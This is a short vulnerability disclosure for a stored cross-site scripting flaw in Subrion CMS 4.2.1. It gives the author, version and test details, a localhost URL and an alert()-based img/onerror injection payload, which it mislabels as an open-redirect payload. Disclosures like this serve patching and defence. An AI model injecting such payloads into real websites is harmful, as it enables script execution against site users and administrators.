Subrion CMS 4.2.1 Cross Site Scripting

`# Exploit Title: [ Stored XSS at Subrion CMS 4.2.1 ]  
  
# Date: [ 06.06.2018 ]  
  
# Exploit Author: [ Ismail Tasdelen ]  
  
# Vendor Homepage: [ https://intelliants.com/ ]  
  
# Software : [ Subrion CMS ]  
  
# Software Version : [ 4.2.1 ]  
  
# Vulnerability : Stored XSS  
  
# Open Redirect Payload : "><img src=x onerror=alert('ismailtasdelen')>  
  
# Type: Webapps  
  
# PoC Video : https://www.youtube.com/watch?v=MQaEnbGwADc  
  
# Test on : Kali Linux - Google Chrome / Mozilla FireFox -- Last Version  
  
http://localhost/?demo-core&admin=1  
  
# You want to follow my activity ?  
  
https://www.linkedin.com/in/ismailtasdelen  
https://github.com/ismailtasdelen  
https://twitter.com/ismailtsdln  
`